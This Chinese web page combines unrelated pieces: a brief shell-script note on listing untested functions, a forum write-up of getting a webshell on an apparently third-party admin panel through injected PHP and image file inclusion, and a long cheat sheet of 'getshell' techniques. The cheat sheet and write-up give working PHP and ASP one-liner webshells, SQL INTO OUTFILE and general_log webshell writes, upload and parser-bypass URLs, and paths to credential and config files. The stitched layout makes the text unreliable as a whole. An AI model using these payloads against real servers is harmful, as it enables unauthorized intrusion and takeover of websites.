整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

技术文章-shell脚本实现的差集应用

技术文章-shell脚本实现的差集应用

享提纲:

1. 问题背景

2. 代码实现

1.问题背景

在做公司的测试的自动化测试时,覆盖了一些开发代码的函数,但是那些还没有做,使用一个函数一个函数搜索的方法还是比较慢的,这里提供一种快速找出来还有那些函数没有做的方法。

大致的思路是,完全使用shell脚本实现:

1)【搜集函数html】

将已经做了的函数,因为可以拿到url的html源码,匹配出一个 函数集合 sourceWeb.log

2)【执行脚本获取结果】

-- 执行脚本 sh run.sh, 里边做的工作是获取开发代码中的函数集合 local_fun.log,遍历这些函数,没有在文件sourceWeb.log中的就放到最终结果 result.log

-- result.log 就是那些还未加到自动化测试的开发的函数

2.代码实现

shell脚本 run.sh的代码如下,最终生成结果是 result.log

源码的地址在 博客园:http://www.cnblogs.com/aiweixiao/p/6671381.html

遇到问题,解决问题,不断总结,能力就会不断提高了~

x01 前言

这个后台是一个表哥给我的,然后作为菜鸡的我去试着弄了一下,搞下了,就分享一下思路,文章很菜,希望各位大表哥手下留情,别喷~(菜鸡第一次在春秋写文章....)

0x02 测试开始

首先,后台界面是这样子滴(已处理,若文章漏码请告知~)

我先去云悉对这个站做了一些简单识别,得到结果如下图

大致猜测是由Linux + Apache + Mysql + Php搭配的。但是Apache没给我显示他的版本,不知道是否存在解析漏洞。于是回到了后台,去研究他的上传文件的功能。

他的这个系统很多地方存在上传点,下图就是一个上传点

他这里可以支持压缩包的格式并且自解压,于是我就想到将木马放到压缩包内然后上传这个压缩包,使其自解压,将木马成功上传到服务器。然后操作结束后,的确是上传成功了。然而人生就是那么大起大落,并没有成功的拿下shell,为毛呢,请看下面

首先正常上传

然后查看上传后的文件

给我加了个txt.... 心想加了个txt就算了,我打开试试看能不能正常访问

丫的还是个403拒绝访问。于是我又测试了几个后缀的文件名,发现pdf和jpg

等文档和图片类型是可以正常上传并且进行访问(pdf访问会自动下载)

不要在意打码的内容,他的确是可以访问并且显示了代码。。只要脚本文件他就会自动在后面加上txt,于是放弃上传压缩包的方法,直接硬干上传点,试试看能不能运气爆棚碰巧就是一个解析漏洞.... 然后fuzz了许久,还是不行(就不写上传的过程了,没成功写了浪费时间~~)

看样子他的上传是做了处理了,只能换思路了,然后这个时候逗神告诉了一个点,让我拿下了这个shell

他这里支持自定义html,用来做搜索引擎优化,于是可以试着写入php代码来获取shell,补充一下php的几种定义写法:

1.<? echo 1; ?>
2.<?php echo 2; ?>
3.
<script language="php"> 
echo 3;
</script>

第三种写法的标签是不是很熟悉。他不就是html中定义js代码的标签嘛~,那么可以试着用这段代码去试试,看能否被正常写入进去。

然后我就在自定义代码去写上了下面的代码,保存进去

<script language="php">
phpinfo();
</script>

然后打开网站的首页

发现还是原网页,没有丁点的改变...... 。这个时候查看一下源代码

的的确确的代码是被写进去了,那么刷新一下试试

ok,是正常的,然后执行phpinfo的代码也已经不见了,已经当作php执行了

那么这个时候,构造一下一句话木马,然后进行连接操作。

结果是连接不上去,换了其他的刀也是不行的,那么这条路就断了嘛?shell就搞不定了嘛~

0x03 文件包含getshell

在前面有说到,他这个站有许多上传点,我随便找了一个上传点,上传了一个图片格式的大马,大马的代码如下:

<?php

然后通过一样的步骤用下面的代码

<script language="php">
include '../ezfiles/2/1002/img/92/123.jpg';//上传的图片地址
</script>

然后点击修改进行保存,在回到网页去刷新,然后在域名后面加上2.php去测试是否成功生成了这个文件

成功getshell~ 由于是linux,老夫实在没半点兴趣提权啥的..... 就把shell给那位表哥后 继续的去看妹子图了

0x04 结束语

这次拿shell也不是很难,都是常见的操作,low的一批~ ,渗透就是要把知识点进行串联起来,然后灵活的进行运用。各位大佬要是有啥高见欢迎私信交流,最后这句是重点,希望大佬们不要吐槽我这个菜鸡的文章~~ 有啥意见私下地可以交流,毕竟这文章纯属虚构,如有雷同纯属巧合

文章转载自:https://bbs.ichunqiu.com/thread-49404-1-1.html

作者i春秋id:最菜的kk

etshell分为进管理员后台Getshell和不进后台Getshell,本文主要总结常见进后台Getshell和部分。

一、进后台Getshell

进台Getshel

1、管理员后台直接Getshell

管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加密的Webshell如有权限限制可以尝试管理后台自带的修改文件名功能在文件名前加../来穿越目录,如上传的文件为a.php,将a.php修改为../a.php。


2、后台数据库备份Getshell

后台数据库备份getshell,上传图片马并获取图片马路径,通过数据库备份修改后缀名,如有后缀名无法修改或路径无法修改限制可修改前端代码绕过,当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可),<%eval

然后再通过备份数据库后访问此界面Getshell。

二、各类上传Getshell

各类上传Getshell

1、修改网站上传类型Getshell

修改网站上传类型,后台设置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上传aasps文件,上传后为asp文件可以解析Getshll。


2、上传其他脚本类型Getshell

一台服务器有多个站,如a网站为asp脚本,b网站为php脚本,而a中限制了上传文件类型为asp的文件,此时可以上传php的脚本,来拿shell;也可以尝试脚本文件后缀名改为asa或者在后面直接加个.如xx.asp.来突破文件类型限制进行上传来Getshell解

三、解析漏洞Getshell

1、IIS6.0解析漏洞

??http://www.xxx.com/xx.asp/xx.jpg??

??http://www.xxx.com/xx.asp/xx.txt??

??http://www.xxx.com/xx.asp/xx.asp;jpg??


2、IIS7.0/7.5、Nginx<8.0解析漏洞

??http://www.xxx.com/xx.jpg/.php??


3、Nginx<8.03空字节代码执行漏洞

版本范围:Nginx0.5.,0.6., 0.7 <=0.7.65, 0.8 <=0.8.37

??http://www.xxx.com/xx.jpg%00.php??


4、Apache解析漏洞

??http://www.xxx.com/xx.php.owf.rar??逆向解析,直到能解析出php为止

?

5、CVE-2013-4547 Nginx解析漏洞

??http://www.xxx.com/xx.jpg(非编码空格)>??http://www.xxx.com/xx.jpg(非编码空格)\0.php??<.php??

四、编辑漏洞Getshell

1、网站配置插马Getshell

进入后台后,网站配置插马getshell,可以找到源码本地搭建,插入时注意与源码闭合,如果插入出错可能导致网站报废。如asp中单引号表示单行注释作用

??%><%eval request("v01cano")%><%??

?

2、编辑器模版Getshell

通过网站的模版编写一句话,然后生成脚本文件getshell 通过将木马添加到压缩文件,把名字改为网站的模版类型,上传到服务器,getshell)(新建或修改目录名为xx.asp/ 此目录下的jsp,html会以asp执行,配置iis6.有0解析漏洞 。

3、修改脚本文件Getshell

修改后台脚本文件插入一句话直接Getshell,尽量插在头和尾 。

?

4、上传插件、更新页面Getshell

进入wordpress,dz等,如编辑wordpress404页面插入一句话,可以先下载对应版本找到404路径,部分OA上传插件Getshell, jboss,tomcat上传war包getshell等。

?

5、执行sql语句写入Webshell

首先执行错误的sql语句,使其暴露出网站的根目录,以ecshop为例,进入后台执行sql查询

??select "<?php phpinfo();?>" into outfile "C:\vulcms\ecshopv3.6\ecshop\v01cano.php";??

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。也可以先将一句话通过ecshop的新建管理员写入到user表中,然后通过数据库备份配合解析漏洞Getshell。

五、命令执行Getshel

1、Windows

1.echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:.php


2、Linux

1.echo -e "<?php @assert($_POST[C0cho])?>" > 1.php


Linux需要在$前加\进行防转义,Windows需要在<前加^防转义,Windows和Linux中的 “可以使用’或不使用进行尝试

六、文件包含Getshell

1、asp包含

?

??include file="123.jpg"??调用的文件必须和被调用的文件在同一目录,否则找不到,如果不在同一目录,用下面语句也使用如下代码??include virtual="文件所在目录/123.jpg"??

2、php包含

  1. <?php
  2. include('123.jpg');
  3. ?>


3、使用php://input

使用burpsuite截取数据包,并修改内容转发(还可以使用hackbar工具中的post data中输入??<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句话木马)??

截取get请求

将一句话木马

访问浏览器查看是否成功

七、数据库命令执行Getshell

1、Access导出

Access可导出xxx等文件需要配合解析漏洞。

  1. create table cmd (a varchar(50));
  2. insert into cmd (a) values ('一句话木马') #一句话木马如:<%execute request(1)%>
  3. select * into [a] in 'e:\web\webshellcc.asa;x.xls' 'excel 4.0;' from cmd
  4. drop table cmd

菜刀直连??https://www.webshell.cc/1.asa;x.xls??

2、Sqlserver导出

exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"


3、Mysql导出

以phpMyAdmin为例:

方法一

  1. create TABLE xiaoma (xiaoma1 text NOT NULL);
  2. insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
  3. select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
  4. drop TABLE IF EXISTS xiaoma;


方法二

select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'

1.

方法三

当数据库路径未知时Getshell

1.//创建表a,并且将httpd.conf写入到表a中

2.create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;


然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

文件可能存在的一些路径:

  1. # Windows
  2. c:\windows\php.ini # php配置文件
  3. c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
  4. # Linux
  5. /etc/php.ini # php配置文件
  6. /etc/httpd/conf.d/php.conf
  7. /etc/httpd/conf/httpd.conf # Apache配置文件
  8. /usr/local/apache/conf/httpd.conf
  9. /usr/local/apache2/conf/httpd.conf

10./usr/local/mysql

11./user/local/httpd/conf/httpd.conf

12./usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

13./user/local/nginx/conf/httpd.conf # Nginx配置文件


方法四

通过load_file函数直接加载该文件内容

1、select load_file('C:/phpStudy/Apache/conf/httpd.conf');

同时需要做如下配置


方法五

general_log_file方法获取Webshell,show global variables like 'secure%'显示secure_file_priv的值为NULL,不能利用写into outfile写木马getshell。

1、show global variables like "%genera%"; #查看genera文件配置情况

2、set global general_log=off; #关闭general_log

3、set global general_log='on'; #如果general_log关闭需要开启

4、set global general_log_file='D:/www/web/shell.php'


方法六

可执行命令方式

??select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'??

使用方法

www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令


方法七

过杀毒软件方式,上传图片马c.jpg,图片马内容如下:

??www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令??

导出Webshell

??select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'??


方法八

直接导出加密Webshell

??select unhex('加密代码') into dumpfile 'D:/www/web/shell.php'??


八、不进后台Getshell

1、0day Getshell

各类OA,coremail,cms,php框架,数据库,java框架等0day,1day,nday Getshell 。

?

2、写入日志Getshell

获取日志路径,在访问过程中在url或者其他位置写入??<?php eval($_POST[c]);?>;??等信息,使其日志记录此代码,然后访问日志路径,菜刀连接Getshell,如phpinfo();中能查看到error.log和access.log的路径。


3、IIS/Tomcat写权限Getshell

IIS6.0,put协议上传手工或工具,批量扫描工具:iis put scaner,写权限利用:桂林老兵

Tomcat put上传 CVE-2017-12615 工具传送门:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615


4、上传会员头像Getshell

将Webshell放入文件夹,然后压缩成zip文件。上传正常头像抓包将图片文件内容删除,burp右键选择文件黏贴功能,将zip包内容复制到burp中的图片内容,放行后菜刀连接图片上传路径下的文件夹(zip压缩包名)下的Webshell 。

?

5、远程命令执行

参考Linux/Windows反弹shell,脚本语言、powershell反弹shell,Kali/Cobalt Strike等各种上线方法 。

?

6、其他漏洞Getshell

XXE,SSRF,反序列化,strust2等一种或多种组合利用Getshell 。